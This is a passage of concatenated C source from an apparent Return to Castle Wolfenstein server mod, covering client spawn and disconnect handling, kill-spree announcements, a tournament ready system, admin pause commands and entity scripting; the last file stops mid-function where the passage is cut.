if(g_tournymode.integer && client->pers.isReady == qfalse && g_gamestate.integer!=GS_PLAYING)
client->ps.powerups[PW_REDFLAG] = INT_MAX;
SetWolfSpawnWeapons( client ); // JPW NERVE -- increases stats[STAT_MAX_HEALTH] based on # of medics in game
}
// dhm - end
// JPW NERVE ***NOTE*** the following line is order-dependent and must *FOLLOW* SetWolfSpawnWeapons() in multiplayer
// SetWolfSpawnWeapons() now adds medic team bonus and stores in ps.stats[STAT_MAX_HEALTH].
ent->health = client->ps.stats[STAT_HEALTH] = client->ps.stats[STAT_MAX_HEALTH];
G_SetOrigin( ent, spawn_origin );
VectorCopy( spawn_origin, client->ps.origin );
// the respawned flag will be cleared after the attack and jump keys come up
client->ps.pm_flags |= PMF_RESPAWNED;
spawn_angles[PITCH]=1;
SetClientViewAngle( ent, spawn_angles );
if ( ent->client->sess.sessionTeam != TEAM_SPECTATOR ) {
//G_KillBox( ent );
trap_LinkEntity (ent);
}
if(g_deathmatch.integer == 2 && ent->client->sess.sessionTeam != TEAM_SPECTATOR){
if(ent->client->pers.spawnNum > 1)
G_KillBox(ent);
// ent->client->ps.pm_flags |= PMF_TIME_LOCKPLAYER;
// ent->client->ps.pm_time = 1000;
}
client->respawnTime = level.time;
client->inactivityTime = level.time + g_inactivity.integer * 1000;
client->latched_buttons = 0;
client->latched_wbuttons = 0; //----(SA) added
if ( level.intermissiontime ) {
MoveClientToIntermission( ent );
} else {
// fire the targets of the spawn point
if ( !revived )
G_UseTargets( spawnPoint, ent );
}
// run a client frame to drop exactly to the floor,
// initialize animations and other things
client->ps.commandTime = level.time - 100;
ent->client->pers.cmd.serverTime = level.time;
ClientThink( ent-g_entities );
// positively link the client, even if the command times are weird
if ( ent->client->sess.sessionTeam != TEAM_SPECTATOR ) {
BG_PlayerStateToEntityState( &client->ps, &ent->s, qtrue );
VectorCopy( ent->client->ps.origin, ent->r.currentOrigin );
trap_LinkEntity( ent );
}
// run the presend to set anything else
ClientEndFrame( ent );
// clear entity state values
BG_PlayerStateToEntityState( &client->ps, &ent->s, qtrue );
}
/*
===========
ClientDisconnect
Called when a player drops from the server.
Will not be called between levels.
This should NOT be called directly by any game logic,
call trap_DropClient(), which will call this and do
server system housekeeping.
============
*/
void ClientDisconnect( int clientNum ) {
gentity_t *ent;
gentity_t *flag=NULL;
gitem_t *item=NULL;
vec3_t launchvel;
int i;
ent = g_entities + clientNum;
if ( !ent->client ) {
return;
}
#ifdef OMNIBOT
Bot_Event_ClientDisConnected(clientNum);
#endif
// stop any following clients
for ( i = 0 ; i < level.maxclients ; i++ ) {
// This is now handled on the spectators side, via SpectatorClientEndFrame() - Nobo
//if ( level.clients[i].sess.sessionTeam == TEAM_SPECTATOR
// && level.clients[i].sess.spectatorState == SPECTATOR_FOLLOW
// && level.clients[i].sess.spectatorClient == clientNum
// && level.numPlayingClients > 1) {
// Cmd_FollowCycle_f( &g_entities[i], 1 );
//}
if ( g_gametype.integer >= GT_WOLF
&& level.clients[i].ps.pm_flags & PMF_LIMBO
&& level.clients[i].sess.spectatorClient == clientNum ) {
Cmd_FollowCycle_f( &g_entities[i], 1 );
}
}
// NERVE - SMF - remove complaint client
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ( level.clients[i].pers.complaintClient == clientNum ) {
level.clients[i].pers.complaintClient = -1;
level.clients[i].pers.complaintEndTime = 0;
trap_SendServerCommand( i, "complaint -2" );
break;
}
}
// send effect if they were completely connected
if ( ent->client->pers.connected == CON_CONNECTED && ent->client->sess.sessionTeam != TEAM_SPECTATOR ) {
// They don't get to take powerups with them!
// Especially important for stuff like CTF flags
TossClientItems ( ent );
// drop flag regardless
if(g_gamestate.integer == GS_PLAYING){
//Agent - dropflag sound fix (yea proabley not the best way to do this shit, but eh..)
char index[MAX_OSPATH];
gentity_t *other;
gentity_t *te;
if (g_gametype.integer != GT_SINGLE_PLAYER) {
if (ent->client->ps.powerups[PW_REDFLAG]) {
item = BG_FindItem("Red Flag");
if (!item)
item = BG_FindItem("Objective");
Q_strncpyz(index, "sound/player/allies/hq_objlost.wav",sizeof(index));
trap_SendServerCommand(-1, va("cp \"Allies have lost %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies have lost %s!\n\" 2",GetLevelTime(), ent->message));
ent->client->ps.powerups[PW_REDFLAG] = 0;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
if (ent->client->ps.powerups[PW_BLUEFLAG]) {
item = BG_FindItem("Blue Flag");
if (!item)
item = BG_FindItem("Objective");
Q_strncpyz(index, "sound/player/axis/hq_objlost.wav",sizeof(index));
trap_SendServerCommand(-1, va("cp \"Axis have lost %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis have lost %s!\n\" 2",GetLevelTime(), ent->message));
ent->client->ps.powerups[PW_BLUEFLAG] = 0;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
if (item) {
launchvel[0] = crandom()*20;
launchvel[1] = crandom()*20;
launchvel[2] = 10+random()*10;
flag = LaunchItem(item,ent->r.currentOrigin,launchvel,ent->s.number);
flag->s.modelindex2 = ent->s.otherEntityNum2;// JPW NERVE FIXME set player->otherentitynum2 with old modelindex2 from flag and restore here
flag->message = ent->message; // DHM - Nerve :: also restore item name
// Clear out player's temp copies
ent->s.otherEntityNum2 = 0;
ent->message = NULL;
}
}
}
}
if (ent->client->pers.restrictedWeapon == WP_VENOM)
(ent->client->sess.sessionTeam == TEAM_RED) ? level.axisVenom-- : level.alliedVenom--;
if (ent->client->pers.restrictedWeapon == WP_PANZERFAUST)
(ent->client->sess.sessionTeam == TEAM_RED) ? level.axisPanz-- : level.alliedPanz--;
if (ent->client->pers.restrictedWeapon == WP_MAUSER)
(ent->client->sess.sessionTeam == TEAM_RED) ? level.axisMauser-- : level.alliedMauser--;
if (ent->client->pers.restrictedWeapon == WP_FLAMETHROWER)
(ent->client->sess.sessionTeam == TEAM_RED) ? level.axisFlame-- : level.alliedFlame--;
G_LogPrintf( "ClientDisconnect: %i\n", clientNum );
G_LogPrintf("Client Disconnect info\n");
G_LogPrintf("NAME: %s\n",ent->client->pers.netname);
G_LogPrintf( "IP: %s\n", ent->client->sess.ip );
//clearCleanIp is in g_cmds near bottom :p
//just deletes the users ip if he leaves
clearCleanIp(ent);
// if we are playing in tourney mode and losing, give a win to the other player
if ( g_gametype.integer == GT_TOURNAMENT && !level.intermissiontime
&& !level.warmupTime && level.sortedClients[1] == clientNum ) {
level.clients[ level.sortedClients[0] ].sess.wins++;
ClientUserinfoChanged( level.sortedClients[0] );
}
trap_UnlinkEntity (ent);
ent->s.modelindex = 0;
ent->inuse = qfalse;
ent->classname = "disconnected";
ent->client->pers.connected = CON_DISCONNECTED;
ent->client->ps.persistant[PERS_TEAM] = TEAM_FREE;
ent->client->sess.sessionTeam = TEAM_FREE;
// JPW NERVE -- mg42 additions
ent->active = 0;
// jpw
trap_SetConfigstring( CS_PLAYERS + clientNum, "");
CalculateRanks();
if(g_autoTeamBalance.integer)
checkEvenTeams();
#ifndef NO_BOT_SUPPORT
if ( ent->r.svFlags & SVF_BOT ) {
// BotAIShutdownClient( clientNum );
}
#endif
}
/*
==================
G_RetrieveMoveSpeedsFromClient
==================
*/
void G_RetrieveMoveSpeedsFromClient( int entnum, char *text ) {
char *text_p, *token;
animation_t *anim;
animModelInfo_t *modelInfo;
text_p = text;
// get the model name
token = COM_Parse( &text_p );
if (!token || !token[0]) {
G_Error("G_RetrieveMoveSpeedsFromClient: internal error");
}
modelInfo = BG_ModelInfoForModelname( token );
if (!modelInfo) {
// ignore it
return;
}
while (1) {
token = COM_Parse( &text_p );
if (!token || !token[0]) {
break;
}
// this is a name
anim = BG_AnimationForString( token, modelInfo );
if (anim->moveSpeed == 0) {
G_Error("G_RetrieveMoveSpeedsFromClient: trying to set movespeed for non-moving animation");
}
// get the movespeed
token = COM_Parse( &text_p );
if (!token || !token[0]) {
G_Error("G_RetrieveMoveSpeedsFromClient: missing movespeed");
}
anim->moveSpeed = atoi( token );
}
}
<file_sep>#include "g_local.h"
#include "S4ND_local.h"
/*==================================================
L0 25.02/09
I've created this file so i can start putting stuff
here and link it thru out the system.
It's so stuff can be traced easier.
Although i'm still using S4ND_local file to declare
functions =)
==================================================*/
/* First Blood */
/*===================================================
It's moved here as I will add functionality as well.
1 = spam only, 2 = in case of tied game decide vinner
by team that draw first blood..
NOTE: I've rip it off from NQ mod :$
NOTE2: DONE!
- it only kicks in on maps like mp_depot if it's set
to 2, it ignores CTF maps, tho note that playing ie
edited SP map in gametype 5 with flag and FirstBlood
cvar set to 2 will kick in since game is tied till
time for holding the flag is reached so never on 2..
===================================================*/
void FirstBlood (gentity_t *self, gentity_t *attacker) {
qboolean onSameTeam = OnSameTeam( self, attacker);
gentity_t *te;
// Spam is visible if it's enabled...
if (g_FirstBlood.integer) {
if (! firstblood &&
self &&
self->client &&
attacker &&
attacker->client &&
attacker->s.number != ENTITYNUM_NONE &&
attacker->s.number != ENTITYNUM_WORLD &&
attacker != self &&
g_gamestate.integer == GS_PLAYING &&
!onSameTeam)
{
/* trap_SendServerCommand( -1, va("chat \"%s ^7drew ^1FIRST BLOOD ^7from %s\"", attacker->client->pers.netname, self->client->pers.netname));
G_AddEvent (self, EV_GLOBAL_SOUND, G_SoundIndex("sound/player/firstblood.wav")); // Martin - Need to do it twice because client doenst play it first time :S
G_AddEvent (self, EV_GLOBAL_SOUND, G_SoundIndex("sound/player/firstblood.wav"));
firstblood = qtrue;
*/
// L0 - This one works just fine :)
trap_SendServerCommand(-1, va("chat \"%s ^7drew ^1FIRST BLOOD ^7from ^7%s\"", attacker->client->pers.netname, self->client->pers.netname));
te = G_TempEntity(attacker->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/firstblood.wav");
te->r.svFlags |= SVF_BROADCAST;
firstblood = qtrue;
}
}
}
/* First Headshot */
/*===============
Just an eye candy
===============*/
void FirstHeadshot (gentity_t *attacker, gentity_t *targ) {
qboolean onSameTeam = OnSameTeam( targ, attacker);
gentity_t *te;
if ( !firstheadshot &&
targ &&
targ->client &&
attacker &&
attacker->client &&
attacker->s.number != ENTITYNUM_NONE &&
attacker->s.number != ENTITYNUM_WORLD &&
attacker != targ &&
g_gamestate.integer == GS_PLAYING &&
!onSameTeam )
{
te = G_TempEntity(attacker->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/firstheadshot.wav"); // If i forget remind me to send you the sounds for stuff added in this file..
te->r.svFlags |= SVF_BROADCAST;
trap_SendServerCommand(-1, va("chat \"%s ^7blew out %s^7's brains with the ^3FIRST HEAD SHOT^7!\"", attacker->client->pers.netname, targ->client->pers.netname));
firstheadshot = qtrue;
}
}
/* Double Kills */
/*======================================
Spams for double/triple and quad kills
It only spams if kill is made in certain
time frame to avoid mass spamming...
NOTE: 4.03/09 FIXED - added MODs check
======================================*/
void DoubleKills (gentity_t *ent, int meansOfDeath )
{
char *message;
gentity_t *te;
if(!ent || !ent->client) {
return;
}
// Some ppl may want to run multi kills but will hate this so new cvar for it...
if(g_doubleKills.integer) {
message = "";
// Check if kill came to fast to avoid spam on every panzer, nade and alike kill..
// accidents do happen- mostly on AS...adding MOD should fix it i guess..well
// one of this days... :$
// NOTE: 4.03/09 Ok i have time today and this needs to be done sooner or later... added MODs to avoid spam on AS's etc.. :)
// If nothing else then bullets.. avoid kills.. it's easy to make nade/as/panzer kills...
// Not all are used, they are just here so they can be uncommented if you decide you want to use it at any point.
// I will just use the most common ones for the sake of long ars scan on any potential double... kills :0)
if ( meansOfDeath == MOD_LUGER // handgun
|| meansOfDeath == MOD_COLT // handgun
// || meansOfDeath == MOD_KNIFE2 // knife -- impossible with knife only unless if poison hits in..
// || meansOfDeath == MOD_KNIFE // knife -- - || -
|| meansOfDeath == MOD_KNIFE_STEALTH // knife -- can be done :)
// || meansOfDeath == MOD_MACHINEGUN // MG42 -- bleh...
|| meansOfDeath == MOD_THOMPSON // Thompson
|| meansOfDeath == MOD_MP40 // MP40
|| meansOfDeath == MOD_STEN // STEN
|| meansOfDeath == MOD_MAUSER // Mauser -- due instant gib/in goldrush mode
// || meansOfDeath == MOD_SNIPERRIFLE // Sniper Rifle -- basically impossible
|| meansOfDeath == MOD_POISON_SYRINGE // Poison -- does happen while poisoning one and shoting/stabbing(stealth only atm) another one =)
// || meansOfDeath == MOD_VENOM // venom -- to easy tbh..
// || meansOfDeath == MOD_FLAMETHROWER // flamethrower -- why use it anyway...
) {
// Not need it any more - MOD's deal with this now :)
/*
if((level.time - ent->client->lastKillTime) < 140 ) { // 140 is kinda in middle, if it's less it spams a lot on AS kills if it's more some normal kills don't get counted :$
ent->client->doublekill = 0;
ent->client->lastKillTime = level.time;
return;
} else */
// if((level.time - ent->client->lastKillTime) > 840) { // It should be hard to pull it off... :)
// Let's see how it goes now with MODs...
if((level.time - ent->client->lastKillTime) > 1000) {
ent->client->doublekill = 0;
ent->client->lastKillTime = level.time;
return;
} else {
ent->client->doublekill++;
ent->client->lastKillTime = level.time;
}
// EDIT: I think i should add smth like "nextKill" so it checks in waves for each kill
// if it came one after another and not if all kills came inside "doubleKill"...?
// Although it does get stuck in loop of kills "if double- then tripple, then if tripple is quad etc.." but could be done better as accidents tend to happen...
// Well that's smth i'll do on next launch break or so... so: traceMark
switch(ent->client->doublekill) {
case 1: // 2 kills
message = "Double kill!";
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/doublekill.wav");
te->r.svFlags |= SVF_BROADCAST;
break;
case 2: // 3 kills
message = "Triple kill!";
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/tripplekill.wav");
te->r.svFlags |= SVF_BROADCAST;
break;
case 3: // 4 kills
message = "Pure Ownage!";
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/oneandonly.wav");
te->r.svFlags |= SVF_BROADCAST;
break;
}
if( ent->client->doublekill == 1 ) {
trap_SendServerCommand( -1, va("chat \"^3%s ^7%s\n\"", message, ent->client->pers.netname));
}
// to avoid spamming the 3rd kill is printed to console only...
if( ent->client->doublekill == 2 ) {
trap_SendServerCommand( -1, va("print \"^3%s ^7%s\n\"", message, ent->client->pers.netname));
}
}
// 4 kills -ownage needs to be seen *twisted* so yes, back to screen >:)
if( ent->client->doublekill == 3 ) {
trap_SendServerCommand( -1, va("chat \"^3%s ^7was brought to you by %s\n\"", message, ent->client->pers.netname));
}
}
}
/*Death Sprees */
/*======================================================
If player dies for 10, 15, 20, 25 times without scoring
at least one kill let every one know about it :P
Scoring a kill resets the count- enemy kill tho not tk..
======================================================*/
void deathSpree ( gentity_t *ent ) {
int deaths = ent->client->pers.deathSpree;
//int kill = ent->client->pers.kills;
gentity_t *te;
// Since it's not annoying (unless if you're the one making the news lol)
// and doesn't happen often, let us use existing cvar for it :)
if (g_ShowHighlights.integer) {
if ( deaths <= 0 ) {
return;
}
// if they have stuff for us start spaming >=)
// Always count 1 less to get correct count (to lazy to fix it but it's the correct count ;) )
if( deaths == 9 ) {
trap_SendServerCommand( -1,
va("chat \"^0DEATHSPREE! ^7%s ^7refuses to defend him self with ^010 ^7deaths without a kill^0!\n\"",
ent->client->pers.netname));
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/dSpree1.wav");
te->r.svFlags |= SVF_BROADCAST;
}
if( deaths == 14 ) {
trap_SendServerCommand( -1,
va("chat \"^0DEATHSPREE! ^7%s ^7is raising a bar with ^015 ^7deaths without a kill^0!\n\"",
ent->client->pers.netname));
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/dSpree2.wav");
te->r.svFlags |= SVF_BROADCAST;
}
if( deaths == 19 ) {
trap_SendServerCommand( -1,
va("chat \"^0DEATHSPREE! ^7%s ^7is having a hard time with ^020 ^7deaths without a kill^0!\n\"",
ent->client->pers.netname));
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/dSpree3.wav");
te->r.svFlags |= SVF_BROADCAST;
}
// 25 deaths is maximum.. seriously- i mean c'mon, 25? If they pass 25 deaths without a single kill then wolf simply isn't for them.. =X
if( deaths == 24 ) {
trap_SendServerCommand( -1,
va("chat \"^0DEATHSPREE! ^7%s ^7is just out of luck with ^025 ^7deaths without a kill^0!\n\"",
ent->client->pers.netname));
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/dSpree4.wav");
te->r.svFlags |= SVF_BROADCAST;
}
}
}
/* Ready System */
/*===========
ready
===========*/
void Cmd_Ready_f(gentity_t *ent) {
gclient_t *client = ent->client;
if (g_tournymode.integer) {
if (!level.warmupTime){
trap_SendServerCommand(ent-g_entities, va("print \"^3The match is already in progress!\n\""));
return;
}
if (client->sess.sessionTeam == TEAM_SPECTATOR ) {
trap_SendServerCommand(ent-g_entities, va("print \"^3Spectators can not use ready feature!\n\""));
return;
}
if (client->pers.ready) {
trap_SendServerCommand(ent-g_entities, va("print \"You already are ^2ready^7!\n\""));
return;
} else if (!client->pers.ready)
trap_SendServerCommand(-1, va("chat \"console: %s ^7is ^2ready^7!\n\"", client->pers.netname));
client->pers.ready = 1;
if (client->sess.sessionTeam == TEAM_RED )
client->ps.powerups[PW_REDFLAG] = 0; // I've took this from existing /ready stuff.. although i probably will add print in /getstatus as well (not sure yet).
else
client->ps.powerups[PW_BLUEFLAG] = 0;
}
}
/*===========
not ready
===========*/
void Cmd_NotReady_f(gentity_t *ent) {
gclient_t *client = ent->client;
if (g_tournymode.integer) {
if (!level.warmupTime){
trap_SendServerCommand(ent-g_entities, va("print \"^3The match is already in progress!\n\""));
return;
}
// When admin/ref does "!readyAll" it sets countEnd to 1 so players can't unReady them selfs..
if ( level.countEnd == 1) {
trap_SendServerCommand(ent-g_entities, va("print \"^3The count down has already started!\n\""));
return;
}
if (client->sess.sessionTeam == TEAM_SPECTATOR ) {
trap_SendServerCommand(ent-g_entities, va("print \"^3Spectators can not use ready feature!\n\""));
return;
}
if (!client->pers.ready) {
trap_SendServerCommand(ent-g_entities, va("print \"You already are ^1not ready^7!\n\""));
return;
} else if (client->pers.ready)
trap_SendServerCommand(-1, va("chat \"console: %s ^7is ^1NOT^7 ready!\n\"", client->pers.netname));
client->pers.ready = 0;
if (client->sess.sessionTeam == TEAM_RED )
client->ps.powerups[PW_REDFLAG] = INT_MAX;
else
client->ps.powerups[PW_BLUEFLAG] = INT_MAX;
}
}
/*===================================================================================================================
L0 - Pause the match functions
This version is based around DutchMeat's "pause" but it's more sofisticated also in version i'm currently working
@ other clean source i use for testing only certain functions, much is changed..but for now I'll use what does work.
Stuff that needs to get done is:
- Adding a function to trap any rockets in air at the time match was paused,
- Seperating the calls for grenade and Air Strike so we know what was what when match was paused,
- Trapping respawn times (game time is trapped!),
- Lock the objective so it doesn't disapper after 30 seconds,
- Lock any specs on their spot so they don't go around flying around.. (Maybe just locking both teams for specing?),
- Trap the dynamite counter (time passed - time left) Atm it acts as a lotto, when match gets unPaused it adds 15 sec,
to count- so in sense it's 50/50 you will get better off after unPause, if dynamite was planted just before game was
paused it will shorten the time so you get better off, in other case- if dynamite was just about to blow before pause
happened you get extra time... in both cases it SUCKS big time.. but for the moment we'll need to live with it..
Working on it tho :)
OPTIONAL: - Adding a check if some one decided to reset the match while pause was on as by default when game gets
paused it paritally fades the screen so if it doesn't get un-paused players are stuck with faded screen until new
map is loaded or they do vid_restart since the unPause never happend and stuff wasn't unRegistered...
What is done (just in case if I missed smth...):
- Traps game time,
- Locks fully player on spot (even if in air..),
- Barbwire and alike damage is ignored (it doesn't damage..),
- It locks stamina and weapon recharge.
====================================================================================================================*/
extern void G_ExplodeMissile (gentity_t *ent);
extern void weapon_callAirStrike ( gentity_t * ent );
/* Count down time- copied from g_main.c.. need to redo it a little as it will be
used as count down when un-pausing the game so it doesn't just throw players in match..*/
/*==============
Warmup Countdown
==============*/
void unpauseCountdown(gentity_t *ent) {
gentity_t *te;
int i;
trap_SendServerCommand(-1, va("cp \"^1FIGHT!\n\"3"));
trap_SendServerCommand(-1, va("print \"^1FIGHT!\n\"3"));
// Sound -global...
te = G_TempEntity(ent->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/fight_rb.wav");
te->r.svFlags |= SVF_BROADCAST;
// Un-pause the game
for (i = 0; i < g_maxclients.integer; i++){
if (level.clients[i].pers.connected != CON_CONNECTED || level.clients[i].sess.sessionTeam == TEAM_SPECTATOR || level.clients[i].sess.sessionTeam == TEAM_FREE)
continue;
g_entities[i].client->ps.pm_type = PM_NORMAL;
g_entities[i].client->ps.pm_flags &= ~PMF_TIME_LOCKPLAYER;
}
level.paused = 0;
}
// Un-pause Call
void UnPauseGame(void){
gentity_t *who = NULL;
gentity_t *grenades = NULL;
int i;
for(i = 0; i < MAX_CLIENTS; i++) {
who = g_entities + i;
if (who->client && who->client->sess.sessionTeam != TEAM_SPECTATOR){
while ((grenades = G_Find (grenades, FOFS(classname), "grenade")) != NULL)
{
if(grenades->r.ownerNum == who->s.clientNum && !who->smokegren)
{
if(grenades->smokegren){
grenades->think = weapon_callAirStrike;
grenades->nextthink = level.time + 12000; //countdown (8) + 5 secs -- for now.. later it will get booted via countDown call
} else {
// Check doesn't work... so count all as nade atm..
grenades->think = G_ExplodeMissile;
grenades->nextthink = level.time + 12000; //countdown (8) + 5 secs
}
}
}
grenades = NULL;
while ((grenades = G_Find (grenades, FOFS(classname), "dynamite")) != NULL)
{
grenades->think = G_ExplodeMissile;
grenades->nextthink = level.time + 22000; // i'm to tired and to lazy to do it now so 50/50 chances it will swing in the right way..
grenades->s.effect1Time = level.time + 22000; // - || - (countdown + 15 sec)
}
grenades = NULL; //reset again for the next user in the for loop
/* if (who->client)
who->client->pers.stuck = qfalse;
who->client->ps.pm_flags = PM_NORMAL;
trap_SetConfigstring( CS_SCREENFADE, va("0 %i %i", level.time + 250, (int) who->delay)); // UnFade the screen now so we have clean countDown...
*/ }
}
// level.killCPmsg++;
level.cntLP = 0;
unpauseCountdown(who); // do the count down....
}
// Pause call
void PauseGame(void){
gentity_t *who = NULL;
gentity_t *grenades = NULL;
int i;
gentity_t *te;
for(i = 0; i < MAX_CLIENTS; i++) {
who = g_entities + i;
if (who->client && who->client->sess.sessionTeam != TEAM_SPECTATOR){
while ((grenades = G_Find (grenades, FOFS(classname), "grenade")) != NULL) //search for grenade entities
{
if(grenades->r.ownerNum == who->s.clientNum ) //make sure its our grenade
{
grenades->think = G_ExplodeMissile;
grenades->nextthink = -1;
}
}
grenades = NULL;
while ((grenades = G_Find (grenades, FOFS(classname), "dynamite")) != NULL)
{
grenades->think = G_ExplodeMissile;
grenades->nextthink = -1;
grenades->s.effect1Time = level.time;
}
grenades = NULL; //reset again for the next user in the for loop
who->client->pers.stuck = qtrue;
}
}
level.paused = 1;
level.killCPmsg++;
trap_SetConfigstring( CS_SCREENFADE, va(".4 %i 500", level.time + 250) ); // Fade the screen partially..
trap_SendServerCommand( -1, va("chat \"console: Admin has ^1Paused ^7the game! \""));
//trap_SendServerCommand( -1, va("cp \"The game is ^1Paused^7! \"")); // This is done in g_main.c now..
te = G_TempEntity(who->s.pos.trBase, EV_GLOBAL_SOUND);
te->s.eventParm = G_SoundIndex("sound/player/paused.wav");
te->r.svFlags |= SVF_BROADCAST;
}
/** Pause cmd's */
// pause game
void Cmd_Pause_f(gentity_t *ent)
{
// Need to hook it in easy_admin ... so atm just any admin..
if (ent->client->sess.admin) {
if ( g_gamestate.integer != GS_PLAYING ) {
return;
}
// pausing game 3 times should be more then enough...
if (level.pendingUnpause > 2 ) {
trap_SendServerCommand(ent-g_entities, va("print \"^3Pause is not anymore available for this round!\n\""));
return;
}
if (!level.paused){
PauseGame();
} else
trap_SendServerCommand(ent-g_entities, va("print \"^3The game is already paused!\n\""));
}
}
// unpause game
void Cmd_UnPause_f(gentity_t *ent)
{
// Need to hook it in easy_admin ... so atm just any admin..
if (ent->client->sess.admin ) {
if (level.paused){
UnPauseGame();
trap_SendServerCommand( -1, va("print \"console: the game has been ^2unpaused^7 by an Admin!\""));
} else
trap_SendServerCommand(ent-g_entities, va("print \"The game is already unpaused^1!\n\""));
}
}
/* New commands... */
qboolean adminCmds (gentity_t *ent, char *cmd ) {
// admins
if(!Q_stricmp(cmd, "pause")) { Cmd_Pause_f(ent);
return qtrue;
}
if(!Q_stricmp(cmd, "unpause")) { Cmd_UnPause_f(ent);
return qtrue;
}
else
return qfalse;
}<file_sep>//===========================================================================
//
// Name: g_script_actions.c
// Function: Wolfenstein Entity Scripting
// Programmer: Ridah
// Tab Size: 4 (real tabs)
//===========================================================================
#include "g_local.h"
#include "S4ND_local.h"
#include "q_shared.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
/*
Contains the code to handle the various commands available with an event script.
These functions will return true if the action has been performed, and the script
should proceed to the next item on the list.
*/
void script_linkentity(gentity_t *ent);
/*
===============
G_ScriptAction_GotoMarker
syntax: gotomarker <targetname> <speed> [accel/deccel] [turntotarget] [wait]
NOTE: speed may be modified to round the duration to the next 50ms for smooth
transitions
===============
*/
#ifdef OMNIBOT
const char *_GetEntityName(gentity_t *_ent);
#endif
qboolean G_ScriptAction_GotoMarker( gentity_t *ent, char *params )
{
char *pString, *token;
gentity_t *target;
vec3_t vec;
float speed, dist;
qboolean wait=qfalse, turntotarget=qfalse;
int trType;
int duration, i;
vec3_t diff;
vec3_t angles;
if (params && (ent->scriptStatus.scriptFlags & SCFL_GOING_TO_MARKER)) {
// we can't process a new movement until the last one has finished
return qfalse;
}
if (!params || ent->scriptStatus.scriptStackChangeTime < level.time) { // we are waiting for it to reach destination
if (ent->s.pos.trTime + ent->s.pos.trDuration <= level.time) { // we made it
ent->scriptStatus.scriptFlags &= ~SCFL_GOING_TO_MARKER;
// set the angles at the destination
BG_EvaluateTrajectory( &ent->s.apos, ent->s.apos.trTime + ent->s.apos.trDuration, ent->s.angles );
VectorCopy( ent->s.angles, ent->s.apos.trBase );
VectorCopy( ent->s.angles, ent->r.currentAngles );
ent->s.apos.trTime = level.time;
ent->s.apos.trDuration = 0;
ent->s.apos.trType = TR_STATIONARY;
VectorClear( ent->s.apos.trDelta );
// stop moving
BG_EvaluateTrajectory( &ent->s.pos, level.time, ent->s.origin );
VectorCopy( ent->s.origin, ent->s.pos.trBase );
VectorCopy( ent->s.origin, ent->r.currentOrigin );
ent->s.pos.trTime = level.time;
ent->s.pos.trDuration = 0;
ent->s.pos.trType = TR_STATIONARY;
VectorClear( ent->s.pos.trDelta );
script_linkentity(ent);
return qtrue;
}
} else { // we have just started this command
pString = params;
token = COM_ParseExt( &pString, qfalse );
if (!token[0]) {
G_Error( "G_Scripting: gotomarker must have an targetname\n" );
}
// find the entity with the given "targetname"
target = G_Find( NULL, FOFS(targetname), token );
if (!target)
{
G_Error( "G_Scripting: can't find entity with \"targetname\" = \"%s\"\n", token );
}
VectorSubtract( target->r.currentOrigin, ent->r.currentOrigin, vec );
token = COM_ParseExt( &pString, qfalse );
if (!token[0]) {
G_Error( "G_Scripting: gotomarker must have a speed\n" );
}
speed = atof(token);
trType = TR_LINEAR_STOP;
while (token[0]) {
token = COM_ParseExt( &pString, qfalse );
if (token[0]) {
if (!Q_stricmp( token, "accel" )) {
trType = TR_ACCELERATE;
}
else if (!Q_stricmp( token, "deccel" )) {
trType = TR_DECCELERATE;
}
else if (!Q_stricmp( token, "wait" )) {
wait = qtrue;
}
else if (!Q_stricmp( token, "turntotarget" )) {
turntotarget = qtrue;
}
}
}
// start the movement
if (ent->s.eType == ET_MOVER) {
VectorCopy( vec, ent->movedir );
VectorCopy( ent->r.currentOrigin, ent->pos1 );
VectorCopy( target->r.currentOrigin, ent->pos2 );
ent->speed = speed;
dist = VectorDistance( ent->pos1, ent->pos2 );
// setup the movement with the new parameters
InitMover(ent);
// start the movement
SetMoverState( ent, MOVER_1TO2, level.time );
if (trType != TR_LINEAR_STOP) { // allow for acceleration/decceleration
ent->s.pos.trDuration = 1000.0 * dist / (speed / 2.0);
ent->s.pos.trType = trType;
}
ent->reached = NULL;
#ifdef OMNIBOT
{
const char *pName = _GetEntityName(ent);
Bot_Util_SendTrigger(ent,
NULL,
va("%s_goto", pName ? pName : "<unknown>"),
va("%.2f %.2f %.2f", ent->s.pos.trDelta[0], ent->s.pos.trDelta[1], ent->s.pos.trDelta[2]));
}
#endif
if (turntotarget) {
duration = ent->s.pos.trDuration;
VectorCopy( target->s.angles, angles );
for (i=0; i<3; i++) {
diff[i] = AngleDifference( angles[i], ent->s.angles[i] );
while (diff[i] > 180)
diff[i] -= 360;
while (diff[i] < -180)
diff[i] += 360;
}
VectorCopy( ent->s.angles, ent->s.apos.trBase );
if (duration)
VectorScale( diff, 1000.0/(float)duration, ent->s.apos.trDelta );
else
